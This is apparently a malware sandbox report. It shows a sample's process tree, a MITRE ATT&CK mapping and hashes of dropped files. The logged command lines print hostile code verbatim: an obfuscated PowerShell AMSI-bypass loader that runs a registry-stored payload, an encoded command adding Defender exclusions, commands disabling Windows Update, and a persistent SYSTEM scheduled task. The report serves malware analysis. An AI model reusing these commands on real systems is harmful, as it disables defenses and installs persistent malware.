5⤵
PID:4592

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
5⤵
PID:3212

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
5⤵
PID:4988

C:\Windows\system32\takeown.exe
takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4992

C:\Windows\system32\icacls.exe
icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4216

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
5⤵
PID:404

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
5⤵
PID:1848

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
5⤵
PID:4268

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
5⤵
PID:188

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
5⤵
PID:192

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
5⤵
PID:2356

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
5⤵
PID:96

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
5⤵
PID:1136

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
5⤵
PID:2060

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
5⤵
PID:4328

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
5⤵
PID:404

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
5⤵
PID:316

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
5⤵
PID:2244

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:4192

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:2336

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1012

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1980

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:1028

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
4⤵
- Drops file in Windows directory
PID:4756

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
4⤵
PID:4912

C:\Windows\system32\schtasks.exe
schtasks /create /f /sc onlogon /rl highest /ru "System" /tn "GoogleUpdateTaskMachineQC" /tr "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
5⤵
- Creates scheduled task(s)
PID:4572

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
4⤵
PID:4844

C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe
C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe
5⤵
- Executes dropped EXE
PID:1140

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "C:\Users\Admin\AppData\Local\Temp\Chrome\updater.exe"
6⤵
- Suspicious use of SetThreadContext
PID:4452

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powershell -EncodedCommand "PAAjAHIAegBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABtAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AawBrAG8AIwA+AA=="
7⤵
PID:2724

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
PID:2200

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -EncodedCommand "PAAjAHIAegBkACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAcABtAHgAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAagBxACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG4AawBrAG8AIwA+AA=="
8⤵
- Suspicious use of AdjustPrivilegeToken
PID:4672

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c sc stop wuauserv & sc stop bits & sc stop dosvc & sc stop UsoSvc & sc stop WaaSMedicSvc & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & sc config bits start= disabled & sc failure bits reset= 0 actions= "" & sc config dosvc start= disabled & sc failure dosvc reset= 0 actions= "" & sc config UsoSvc start= disabled & sc failure UsoSvc reset= 0 actions= "" & sc config wuauserv start= disabled & sc failure wuauserv reset= 0 actions= "" & takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll & icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename C:\\Windows\\System32\\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f & reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
7⤵
PID:3876

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
- Suspicious use of SetWindowsHookEx
PID:3036

C:\Windows\system32\sc.exe
sc stop wuauserv
8⤵
PID:4600

C:\Windows\system32\sc.exe
sc stop bits
8⤵
PID:4236

C:\Windows\system32\sc.exe
sc stop dosvc
8⤵
PID:1704

C:\Windows\system32\sc.exe
sc stop UsoSvc
8⤵
PID:4648

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
8⤵
PID:196

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
8⤵
PID:164

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
8⤵
PID:1880

C:\Windows\system32\sc.exe
sc config bits start= disabled
8⤵
PID:2372

C:\Windows\system32\sc.exe
sc failure bits reset= 0 actions= ""
8⤵
PID:516

C:\Windows\system32\sc.exe
sc config dosvc start= disabled
8⤵
PID:1120

C:\Windows\system32\sc.exe
sc failure dosvc reset= 0 actions= ""
8⤵
PID:4080

C:\Windows\system32\sc.exe
sc config UsoSvc start= disabled
8⤵
PID:5020

C:\Windows\system32\sc.exe
sc failure UsoSvc reset= 0 actions= ""
8⤵
PID:4320

C:\Windows\system32\sc.exe
sc config wuauserv start= disabled
8⤵
PID:2564

C:\Windows\system32\sc.exe
sc failure wuauserv reset= 0 actions= ""
8⤵
PID:3952

C:\Windows\system32\takeown.exe
takeown /f C:\\Windows\\System32\\WaaSMedicSvc.dll
8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4772

C:\Windows\system32\icacls.exe
icacls C:\\Windows\\System32\\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
8⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4176

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f
8⤵
PID:2436

C:\Windows\system32\reg.exe
reg add "HKLM\\SYSTEM\\CurrentControlSet\\Services\\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f
8⤵
PID:4640

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AUOptions /d 2 /t REG_DWORD /f
8⤵
PID:4760

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
8⤵
PID:4856

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
8⤵
PID:3160

C:\Windows\system32\reg.exe
reg add HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows\\WindowsUpdate\\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
8⤵
PID:3652

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Automatic App Update" /DISABLE
8⤵
PID:3264

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\Scheduled Start" /DISABLE
8⤵
PID:2148

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sih" /DISABLE
8⤵
PID:4680

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\WindowsUpdate\\sihboot" /DISABLE
8⤵
PID:2232

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistant" /DISABLE
8⤵
PID:4992

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantCalendarRun" /DISABLE
8⤵
PID:4892

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\\Microsoft\\Windows\\UpdateOrchestrator\\UpdateAssistantWakeupRun" /DISABLE
8⤵
PID:3828

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
7⤵
PID:3852

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
8⤵
PID:5008

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
8⤵
PID:2344

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
8⤵
PID:4360

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
8⤵
PID:1556

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
8⤵
PID:208

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
7⤵
PID:4624

C:\Windows\System32\conhost.exe
"C:\Windows\System32\conhost.exe" "rvmaottuvrwq"
8⤵
PID:4612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
PID:4484

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV
1⤵
PID:4928

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s CDPSvc
1⤵
PID:3800

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:2348

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2348 -s 792
2⤵
- Program crash
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4244

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3896

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3896 -s 852
2⤵
- Program crash
- Suspicious use of AdjustPrivilegeToken
PID:4488

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 3896 -s 828
2⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
PID:4716

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3608

c:\windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
1⤵
PID:3052

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Browser
1⤵
PID:2832

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k unistacksvcgroup -s CDPUserSvc
1⤵
PID:2824

c:\windows\system32\sihost.exe
sihost.exe
1⤵
PID:2792

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s WpnService
1⤵
PID:2736

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s TrkWks
1⤵
PID:2648

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2636

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s CryptSvc
1⤵
PID:2624

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
1⤵
PID:2520

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservicenetworkrestricted -s PolicyAgent
1⤵
PID:2512

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
1⤵
PID:2504

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s tiledatamodelsvc
1⤵
PID:2184

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
1⤵
PID:2176

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s LanmanWorkstation
1⤵
PID:2052

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:1156

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
1⤵
PID:1916

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k appmodel -s StateRepository
1⤵
PID:1852

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s netprofm
1⤵
PID:1832

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1796

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1788

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s Dnscache
1⤵
PID:1644

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
1⤵
PID:1632

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k networkservice -s NlaSvc
1⤵
PID:1596

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s FontCache
1⤵
PID:1540

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s AudioEndpointBuilder
1⤵
PID:1532

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s SENS
1⤵
PID:1444

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s UserManager
1⤵
PID:1424

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s Dhcp
1⤵
PID:1396

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s EventSystem
1⤵
PID:1264

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Themes
1⤵
PID:1252

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservice -s nsi
1⤵
PID:1236

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
1⤵
PID:1192

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s EventLog
1⤵
PID:1112

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s Schedule
1⤵
PID:1092

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:kqEuWFWVCYql{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$OyltkQGHjHZpwd,[Parameter(Position=1)][Type]$VWuuWjVyTS)$pwvlkypHxkU=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$pwvlkypHxkU.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$OyltkQGHjHZpwd).SetImplementationFlags('Runtime,Managed');$pwvlkypHxkU.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$VWuuWjVyTS,$OyltkQGHjHZpwd).SetImplementationFlags('Runtime,Managed');Write-Output $pwvlkypHxkU.CreateType();}$XjzpjHeaTOjjo=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$cTtqDbeaeqSxSU=$XjzpjHeaTOjjo.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$doRMDpwNVyfXzWZHzig=kqEuWFWVCYql @([String])([IntPtr]);$fHUeBUfTLZDPzakbXTQWXS=kqEuWFWVCYql @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$EyNgFYbxaDx=$XjzpjHeaTOjjo.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$PYBbtiVlzRAeWk=$cTtqDbeaeqSxSU.Invoke($Null,@([Object]$EyNgFYbxaDx,[Object]('Load'+'LibraryA')));$QLrkQSWwraDpOtdaZ=$cTtqDbeaeqSxSU.Invoke($Null,@([Object]$EyNgFYbxaDx,[Object]('Vir'+'tual'+'Pro'+'tect')));$sRTggbV=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($PYBbtiVlzRAeWk,$doRMDpwNVyfXzWZHzig).Invoke('a'+'m'+'si.dll');$erXPHbcVGbsyuRqJV=$cTtqDbeaeqSxSU.Invoke($Null,@([Object]$sRTggbV,[Object]('Ams'+'iSc'+'an'+'Buffer')));$qrIGqOkInG=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QLrkQSWwraDpOtdaZ,$fHUeBUfTLZDPzakbXTQWXS).Invoke($erXPHbcVGbsyuRqJV,[uint32]8,4,[ref]$qrIGqOkInG);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$erXPHbcVGbsyuRqJV,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($QLrkQSWwraDpOtdaZ,$fHUeBUfTLZDPzakbXTQWXS).Invoke($erXPHbcVGbsyuRqJV,[uint32]8,0x20,[ref]$qrIGqOkInG);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4200

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE "function Local:PDKCFKaLciFa{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$nPGlvOOlRbfUeE,[Parameter(Position=1)][Type]$dOwHteKNOV)$TIEBqmOtZtN=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('ReflectedDelegate')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMe'+'mory'+'Module',$False).DefineType('MyDelegateType','Class,Public,Sealed,AnsiClass,AutoClass',[MulticastDelegate]);$TIEBqmOtZtN.DefineConstructor('RTSpecialName,HideBySig,Public',[Reflection.CallingConventions]::Standard,$nPGlvOOlRbfUeE).SetImplementationFlags('Runtime,Managed');$TIEBqmOtZtN.DefineMethod('Invoke','Public,HideBySig,NewSlot,Virtual',$dOwHteKNOV,$nPGlvOOlRbfUeE).SetImplementationFlags('Runtime,Managed');Write-Output $TIEBqmOtZtN.CreateType();}$FMUDbRxvjRBFg=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals('System.dll')}).GetType('Microsoft.Win32.'+'Uns'+'afeNat'+'iveMetho'+'ds');$gFyjbsHYScgJWk=$FMUDbRxvjRBFg.GetMethod('Ge'+'tPr'+'ocAdd'+'ress',[Reflection.BindingFlags]'Public,Static',$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$ryUsbFelQjQewlPwyYR=PDKCFKaLciFa @([String])([IntPtr]);$dBcgFRtSkVBbaHzHUioELX=PDKCFKaLciFa @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$FflEYrwvqNH=$FMUDbRxvjRBFg.GetMethod('Get'+'Modu'+'leHan'+'dle').Invoke($Null,@([Object]('kern'+'el'+'32.dll')));$WOSfIvmqBHkcQo=$gFyjbsHYScgJWk.Invoke($Null,@([Object]$FflEYrwvqNH,[Object]('Load'+'LibraryA')));$ZdkRRKjXecDCthYRh=$gFyjbsHYScgJWk.Invoke($Null,@([Object]$FflEYrwvqNH,[Object]('Vir'+'tual'+'Pro'+'tect')));$TrJFXld=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WOSfIvmqBHkcQo,$ryUsbFelQjQewlPwyYR).Invoke('a'+'m'+'si.dll');$rCQJGeOqIUvHaYzzg=$gFyjbsHYScgJWk.Invoke($Null,@([Object]$TrJFXld,[Object]('Ams'+'iSc'+'an'+'Buffer')));$HtlpzxTmkJ=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZdkRRKjXecDCthYRh,$dBcgFRtSkVBbaHzHUioELX).Invoke($rCQJGeOqIUvHaYzzg,[uint32]8,4,[ref]$HtlpzxTmkJ);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc2,0x18,0),0,$rCQJGeOqIUvHaYzzg,8);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ZdkRRKjXecDCthYRh,$dBcgFRtSkVBbaHzHUioELX).Invoke($rCQJGeOqIUvHaYzzg,[uint32]8,0x20,[ref]$HtlpzxTmkJ);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('SOFTWARE').GetValue('dialerstager')).EntryPoint.Invoke($Null,$Null)"
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4616

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
PID:4080

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localsystemnetworkrestricted -s NcbService
1⤵
PID:624

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k localservicenetworkrestricted -s lmhosts
1⤵
PID:700

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s DsmSvc
1⤵
PID:436

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
1⤵
PID:60

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s LSM
1⤵
PID:904

c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k dcomlaunch -s PlugPlay
1⤵
PID:724

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of SetWindowsHookEx
PID:4036

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
PID:1520

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Impair Defenses

T1562

File Permissions Modification

T1222

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Microsoft\Windows\WER\Temp\WERD769.tmp.csv
Filesize
32KB

MD5
ce8207bcd219f0d00907077818407f38

SHA1
0277f4e37b2e99c70aa1c0a09a58067e61a001ff

SHA256
72237936beb5faea307e7c83982936e3991dfb6cca7fe6fc9ad1f4b49b33c291

SHA512
8386a72207db766cfe2fc2a7941b109ec978d7bb9eb9c3395c887216f03d95d4d4affa7edc926d4acc6516988a0f84885bad37ac8a9d0bb2d9d18f8fe6859cbe

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD789.tmp.txt
Filesize
12KB

MD5
d093d2b0231596d7021c2b541ffc3ea3

SHA1
e92b025f424cda476aacf025091639725d82af9a

SHA256
18e3daaed59c0b99b24e6edec6a5f55cb79a48f4dee7ba1e703698137f91b5a2

SHA512
c7a97a2a186660d0264473ff4b8946a647c921595e96c6f4eb1c4328bfafd715a1a0dda2596f16ee55cf00bc7cf6b7487449facdde976a145de8b8ea97d5e0a2

Download Submit
C:\ProgramData\Microsoft\Windows\WER\Temp\WERD99E.tmp.csv
